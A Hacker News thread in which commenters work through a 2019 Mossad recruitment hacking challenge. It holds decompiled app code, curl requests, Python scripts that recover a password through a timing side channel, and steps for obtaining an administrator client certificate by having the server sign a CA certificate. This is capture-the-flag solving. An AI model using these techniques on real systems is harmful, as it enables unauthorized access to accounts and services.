Hacker Newsnew | past | comments | ask | show | jobs | submitlogin
Israeli Mossad launches cyber challenge (3d375032374147a7865753e4bbc92682.xyz)
73 points by stdcall83 on May 9, 2019 | hide | past | favorite | 98 comments


Decompile the apk, and run 'strings' on assets/flutter_assets/kernel_blob.bin.

Poke around and you'll find code for POSTing JSON-encoded credentials to http://35.246.158.51:8070/auth/getUrl. (Grep for the IP to find it.)

So, using the web site name as the seed and the 'client id' as the password, we get:

$ curl -X POST -H "Content-Type: application/json" -d '{"Seed": "3d375032374147a7865753e4bbc92682", "Password": "d7c6bdcfcb184bf587ceee7c7c28e72e"}' http://35.246.158.51:8070/auth/getUrl

The response is an HTTP 200 and: {"AuthURL":"/auth/v2"}

http://35.246.158.51:8070/auth/v2 is I guess the next step.

edit: The /auth/getUrl endpoint responds to any request with the same response, so that may not be the right Seed/Password combination.


You're close, but that first endpoint is just to retrieve the auth URL, no need to post anything to it. It then passes the seed and password to the returned URL, so: "http://35.246.158.51:8070/auth/v2" gets '{"Seed": "xxx", "Password": "xxx"}' of some kind

I haven't yet figured out what those are though...

See:

  Future<Token> login(String seed, String password) {
    var headers = new Map<String,String>();
      return _netUtil.get(LOGIN_URL, headers:headers).then((dynamic authUrl) {
      try {
        if (authUrl == null) {
          return Future<Token>.sync(() => new Token("", false, 0));
        }
        var loginUrl = BASE_URL + AuthURL.map(json.decode(authUrl.body)).url;


So reading about flutter, there's quick reload information in debug mode[0]

This leads me to believe that the seed and password entered in development / in the cookie jar from a previous attempt are somewhere in the `isolate_snapshot_data` file

[0] https://github.com/flutter/flutter/wiki/Flutter-engine-opera...


Got to this point by running the APK in sandbox and tracking the TCP packets...


following your steps at getting the strings, which in turn helped me get the code of the whole application

first of all, as per the code, the User-Agent must be setup to "iWalk-v2"

then doing a simple get request to http://35.246.158.51:8070 will return {"AuthURL":"/auth/v2"}

replacing the original url with http://35.246.158.51:8070/auth/v2 and then sending a json like '{"Seed": "3d375032374147a7865753e4bbc92682", "Password": "d7c6bdcfcb184bf587ceee7c7c28e72e"}' with "Content-Type: application/json" returns {"IsValid":false,"LockURL":"","Time":136764}

the Time here (as per my understanding in the code) is the request duration, which somehow contradicts postman's request duration field

now one weird thing I've noticed about this app is this, if i install it on a regular device, and connect that to a proxy, then type gibberish into the fields then click Login, the following code gets invoked

  void _submit() async {
    final form = formKey.currentState;
    if (form.validate()) {
      setState(() => _isLoading = true);
      form.save();
      _networkActions.login(_seed, _password)
                      .then((result) => _loginCompleted(result))
                      .catchError((e) { 
                        _loginCompleted(new Token("", false, 0));
                      });
    }
if a loading icon appears then I assume that the code passed the condition and passed this line of code "setState(() => _isLoading = true);" now the weird part is that, I don't see any outgoing connections from the app... (I use charles to capture requests)


It's normal that you don't see any traffic using Charles, since Charles can only intercept traffic made by HttpUrlConnection or OkHttp, since flutter is not using any of those two..you can't see anything in Charles.


You're missing a big hint. Go back to the apk and grep for github


I think you must also fake the user agent as "iWalk-v2"


Install a random app from Mossad on my phone? N-no, no I don’t think so.


Challenge is obviously meant to be reversing, not installing.


If you deconstruct the APK, you'll find a C script that prints a message - "You really think it was the Saudis? :)" /s


So far I've just used those decompile services online and it seems it's Flutter

package com.iwalk.locksmither;

import android.os.Bundle; import io.flutter.app.FlutterActivity; import io.flutter.plugins.GeneratedPluginRegistrant;

public class MainActivity extends FlutterActivity { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); GeneratedPluginRegistrant.registerWith(this); } }

In terms of permissions, it asks for INTERNET.



Absolutely. Still funny.


lol my thoughts exactly...


In case you didn't want to wait for the slow-typing to load the entire message:

"Welcome Agent.

A team of field operatives is currently on-site in enemy territory, working to retrieve intel on an imminent terrorist attack.

The intel is contained in a safe, the plans for which are available to authorized clients via an app [0].

Our client ID is d09ff4ec651c48f89f7f7aa19160bd55

Your mission is to retrieve those plans, and allow our team to break into the safe.

Good luck!,

    M."
[0]: http://3d375032374147a7865753e4bbc92682.xyz/static/app.apk


Are they seriously expecting people to sideload a mossad apk on their phones?


If you're dumb enough to do that... maybe they blacklist you from their recruitment efforts moving forward.

You could always install it on a virtual phone in a sandboxed VM.


What do you do if they have sandbox escapes you don't know about? The kind of person that runs it in a VM is someone they'd probably want to be looking at.

Paranoia++ :)


Download to a burner machine, then airgap it by removing/disabling all networking hardware, inside a room with no other computers. ;)


Then sell the system to an unsuspecting soul on eBay.


Or gumtree


You’re probably expected to load it into your favorite static analysis tool.


Of course not, it would be prohibitively difficult to deconstruct the apk from the phone itself.


I couldn't even get to refusing to trust an apk because their message doesn't render if you have a JS whitelisting extension such as NoScript.


It's all in the page source, though.


THIS IS LEGITIMATE. The Israeli Mossad had a ad today, https://www.algemeiner.com/2019/05/09/mossad-marks-israeli-i... with a picture. The picture has 4 rows of trophies, which should be converted to 4 numbers using binary --> decimal. Those four numbers are 35, 246, 158, 51.

As an ip address, 35.246.158.51 leads to the site OP posted.


The French cyber security community has a similar challenge every year: https://www.sstic.org/2019/challenge/ (in French).

The challenges usually involve static analysis / disassembly, breaking improperly configured crypto, etc. The best part (for me at least) is that competitors must submit a write-up of how they cracked the challenge, and the best write-ups are published. It makes for fascinating reading even if you’re not really into that scene.


Searching for "iWalk-v2" on google gives following book as the first result:

https://books.google.rs/books?id=1nfhpqvLSM4C&pg=PA397&lpg=P...

on page 397 there is entry in index: iWalk, v2 71 on the same page there are interesting terms like islamic terrorism, jihad via internet, judism... also page number 71 which stands next to iWalk term is interesting coincidence since this riddle is celebrating 71 years of Israel independence...


This site loads the jQuery library in order to...

1. Access $("#text1")[0].innerHTML

2. $( document ).ready() { typeWriter (); }

facepalm


It's done like that because the typeWriter effect is actually rendering line break elements (<br>) as it shows up.


woosh, loading jQuery to access an element is not needed. document.getElementById would suffice.


jQuery is still a valid way to manipulate the DOM. There’s nothing wrong with doing that, especially if you already need to load jQuery for something else. I don’t think this is what the comment was referring to.


There's no reason to load a 30KB JavaScript library for such a simple webpage. See http://youmightnotneedjquery.com/


I don't have time for slow-ass typing text. Next.


view page source mr hackerman


If I need to read the source code of a fucking website for it to be useful, then it's either a really special edge-case or the designer is a moron. Guess which case this is.

Why not upload a plain text file in the first place?


> it's either a really special edge-case

Bingo!


because it's a hacking challenge website not a fucking blog. it's supposed to be thematic


Oh, come on. You have to have an old phone lying around to factory reset for shits and giggles. Not like they'd burn good zero days on a publicity stunt.

Remember, this thing'll be getting picked apart by everybody considering the source.

Unless you're afraid of getting black bagged that i...<SIGNAL LOST>


You don't need a 0-day when the target installs for you.


Chief.. Chief come in... Damn lost him


Challenge 3: Do we need to RE the EXE cause that’s look obvious but I don’t think that that’s what we need to do


I hope my house does receive air strike


I think you mean “doesn’t”. OP is referring to the recent Israeli airstrike of suspected Hamas hacking group building.


How do we know this is created by the mossad?


Still stuck at Level 2... Any ideas?


How do you know it's by mossad?


Once you solve the first challenge it tells you to send an email to an @gov.il email address, which confirms it pretty well for me.


Only one way to find out


Ignoring the editorialized made up title of this post, is there any information on who actually made this challenge?


Saved you the huss of reading hebrew, but actually the challenge starts at: https://www.mossad.gov.il/Pages/default.aspx

You need to figure out the address of the site I posted from the picture. (Not that difficult)


Cookies must be enabled... APK to install...

Does curiosity really make ya'll this dumb?


Level 1: The people who just go to the site/download the APK

Level 2: The people who realize that the requested actions are likely unsafe, and complain about it

Level 3: People who realize that this is part of the challenge and just use a VM

Nobody on HN is "this dumb", if you want to participate in a challenge with an intelligence agency, take the proper precautions


The majority of the population is Level 1. Consider what that means for Mossad.

Enjoy your challenge.


"The majority of the population is Level 1"

Yes, and those people might visit a website, which asks for...shudder...cookies. If you can show that the cookies do something nefarious, I'd be interested. Do you think they general population would even get to the point of installing an APK?

"Consider what that means for Mossad"

At this point, you can't even prove that the APK does anything nefarious - and it would be dangerous for the Mossad if it did, because the challenge is literally to decompile the APK.


I thought the majority of the population was level 4.

Level 4: Ignore it.


Level 5: You've downloaded Droid4X extra because of it, installed Java and everything and then you come back on HN to look if somebody is already on the next challenge (in order to save time) and then you start again, but with the new challenge :)


First Challenge Solution: Mossad 2019 Challenge Start: https://r-u-ready-4.it/ Every line in the image is binary 8-bit number that will give you an ip address : 35.246.158.51

Challenge-1 :Link http://3d375032374147a7865753e4bbc92682.xyz / http://35.246.158.51

Download app.apk from http://3d375032374147a7865753e4bbc92682.xyz/static/app.apk Remember your Client ID - mine is 854279b4c89e4b5c9722352c3f9f1d6c You will user it as "Seeder" property in the app //////////////////////////////////////////////////////////////////////////////////////////////// using WireShark (or any other packet snipper) we can see that the login button does this:

POST /auth/v2 HTTP/1.1si user-agent: iWalk-v2 content-type: application/json; charset=utf-8 accept-encoding: gzip content-length: 29 host: 35.246.158.51:8070 {"Seed":"admin","Password":"admin "}HTTP/1.1 200 OK Content-Type: application/json Date: Wed, 08 May 2019 21:49:05 GMT Content-Length: 47

{"IsValid":false,"LockURL":"","Time":149646302} ///////////////////////////////////////////////////////

Using http://www.javadecompilers.com/, i Decompiled the apk, and got a lock at the Manifest < <xml version="1.0" encoding="utf-8" ....... <activity android:configChanges="density|fontScale|keyboard|keyboardHidden|layoutDirection|locale|orientation|screenLayout|screenSize" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.iwalk.locksmither.MainActivity" .... .....

The line "look for us on github.com" got my attention, so i looked for iwalk.locksmither in github and found "iwalk-locksmithers" linke: https://github.com/iwalk-locksmithers-app the server source code was there. In the code, there are a few comments that can help

https://github.com/iwalk-locksmithers-app/server/blob/master... link 70 points us to the auth-1 weeknes.

the part of "for currentIndex < len(lock.Password) && currentIndex < len(loginData.Password) { if lock.Password[currentIndex] != loginData.Password[currentIndex] { break } //OG: securing against bruteforce attempts... ;-) time.Sleep(30 * time.Millisecond) currentIndex++ }"

the securing aginst bruteforce (tyring all combinations) is the weeknes. The idea behind for hacking the password is to try only one char at first. if we get a 30ms dealy, it means we got the 1st char right, so then we can check the next one, so we will try 2 chars (the 1st we know, the second we will guess) if we will get 60 ms +- dealy then we got th 2nd char and we will try the third one, and again and again, until we will get the password.

To solve it, it wrote a simple c# code that does in a loop http push to the server every time we try to add a new char to the password, and if we got a dealy that is +- 30ms more then the last try, we add that char our final password the uri is http://35.246.158.51:8070/auth/v1_1 and user agent is ed9ae2c0-9b15-4556-a393-23d500675d4b (as writen in the server) I did some avg calcs of the dealys The password length is 32 with hexa char (didnt know that until i guessed the password) we can know that the password is correct when we get back "IsValid":true" *Time we get is in nano Seconds and not ms

After I enterd the pasword and cliend id, i got a link for a token and a linke for challenge 2

http://759d8eba52184f538c8a4525680cfb33.xyz/

Challenge-2 http://759d8eba52184f538c8a4525680cfb33.xyz/


Not sure I understand the bruthforce code. I'm trying to get the first char. I've written something along

import requests

import string

#a-zA-Z!@#$%^&*()_-=

printables_chars = string.printable

agent = 'ed9ae2c0-9b15-4556-a393-23d500675d4b'

for i, char in enumerate(printables_chars):

    print('run {}. char {}'.format(i,char))

    result = requests.post('http://35.246.158.51:8070/auth/v1_1',
                  data={"Seed": "d14236b60e0f4aef94499cb648a5f522", "Password": char})

    if(result.json()['Time'] > 100000000):

        # This prints randomly for some cases and others doesn't

        print(result.json()['Time'])


On Python I used this:

CHARACTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|\/?,.<>`~"

URL = "http://35.246.158.51:8070/auth/v1_1"

HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }

PAYLOAD ={}

for i in range(len(CHARACTERS)):

    PAYLOAD['Seed']     = "6711d2ec0d724396ad1570fcfb431443"

    PAYLOAD['Password'] = "" + CHARACTERS[i]

    r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)

    result = r.json()

    delay = result['Time']

    print(str(PAYLOAD) + " - " + str(delay))

But for first character I don't see really huge DELAY response, always I have few characters with big delay and not only one.


That's the final (Still hackish code but does the work)

import requests

CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"

URL = "http://35.246.158.51:8070/auth/v1_1"

HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }

PAYLOAD ={}

DISCOVERED_PASSWORD = "f"

def check(chars): result_chars = [] for i in range(len(chars)): PAYLOAD['Seed'] = "d14236b60e0f4aef94499cb648a5f522"

        PAYLOAD['Password'] = DISCOVERED_PASSWORD + chars[i]

        r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)

        result = r.json()

        delay = result['Time']

        if(delay > len(PAYLOAD['Password'])*30000000):

            result_chars.append(chars[i])

    return result_chars

for i in range(40):

    res = check(CHARACTERS)

    for i in range(10):

        res = check(res)

        print(res)


    DISCOVERED_PASSWORD += res[0]

    print("FOUND ONE MORE! {}".format(DISCOVERED_PASSWORD))

print(DISCOVERED_PASSWORD)


I think u can remove Big letters and characters need only abc...1234 numb it's faster. Incredible code.


Yep - The first character is where my mistake was. Thank you.


i've added this to your code to make it easier to see what is the next char - if(delay > len(PAYLOAD['Password'])*30000479):


Exactly what I did. But in Python. Now I'm stuck on challenge 2


Yes, I'm stuck on second as well.

But I got some progress: 1. Image leads to subdomain: http://dev.missilesys.com/ 2. It generates p12 certificate for login to admin-panel. You should enter username/password, submit the form and click download. (It there is no download button just try something like this: refresh the page, change method from POST to GET, enter credentials and press Submit, after that press submit again it'll appear) 3. Add certificate to KeyChain (on macOS) and go to missilesys.com. 4. You're got into admin-panel, but you have no permissions to shutdown it. You need to be an administrator. 5. You should get .p12 certificate for administrator, but you can't because "User alreay exists!". This's place where I'm stuck.

It would be great if you have an idea how to handle with it :)


Now the problem is to get the administrator certificate


As I check:You need to input administrator inside login without pass in browser Preserve log mode and jAvAsCrIpT generate it by login name check Headers Form Data private key .I think I am on the way but now I need password from cert of Admin now:))


Did you get any solution from there? To me it seems that these are just randomly generated certs with a CN


No not work . But Good idea you give cert is now wildcard *. CN Common Name . Thank U. I check.


Any luck?


NO, It's harible..


I have an idea, but don't have the time to check :-/ Using online CSR generator I succeeded to sign a CA certificate.. So maybe we can use the signed certificate to sign another certificate for admin user on behalf of the root certificate?


how could u do it? from my understanding of pcsk12 its a bundle of multiple certificates.


Theres a chain of trust and if you have a signed CA certificate from a root you can sign on behalf of the root


Tell me where I get wrong.

1. I created CSR with CA:TRUE and send it to the server. 2. The server signed it and returned me a certificate. 3. I use the given certificated with CA:TRUE from the server and sign a new certificate with the username administrator. 4. I install the certificate on my browser and should get in.

All of the above sounds great. however, it is still(!!!) not working for me. Where am I going wrong


Make sure you install the administrator certificate with its private key... Bundle the private key with the cert.


How do you even get the CA private key


update: it worked :-)


Hi,

Can anyone help me with this?

I know that if you go to dev.missilesys.com, and download the cert you see that it is signed by International Weapons Export Inc.

so i created a root ca with the same name

than i created a csr with common name administrator

than i created a cert, i used the csr and the root ca i generated

after that i created a pfx, it's the same as p12 afaik, and tried to login i'm getting error 400

i wanted to use the original ca from the web site, i decoded the file p12, but i don't have the private key

anyone can help me? thanks


Can you explain step by step how you have done it? :) If you change to CSR and key in the request to self-generated, it still says username already exists.

on the other side, if I create my own certificate using custom CSR and key, I still cannot sign it with website CA (taken from original p12 file) since I do not have the private key.


But how did u send csr as CA? I guess they must provide you certificate that includes CA=True ? (in order to continue the chain)


The csr is created in the client and sent to server to be signed... you can replace it


i'm still getting User Exists though...


tnx. worked! now did u pass the telnet ?


As I understood grab with Openssl cert root https://missilesys.com/ and BURP with new account http://dev.missilesys.com/ I try soon thk U


Try sending a GET request to "/" :P


"GET / HTTP/1.1" 444 0 "B)","_"


I'm getting 500 INTERNAL SERVER ERROR


not yet... didn't have the time :-/ but it seems much easier than the previous one...


Can you post how you did it?


I have the csr and the private key of the administrator but I don't know how to sign it on behalf of the root certificate, any idea?


send them csr that it's CA=TRUE. then you recieve a cert you can sign others.. so sign adminstrator cert by yourself


But when I signed the csr with a valid crt from a downloaded p12 I got ssl error on the website


And I don’t have the CA praivet key


is challenge 2 download cert page down?


Challenge #2, someone forgot a reference to https://dev.missilesys.com/ ;)




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: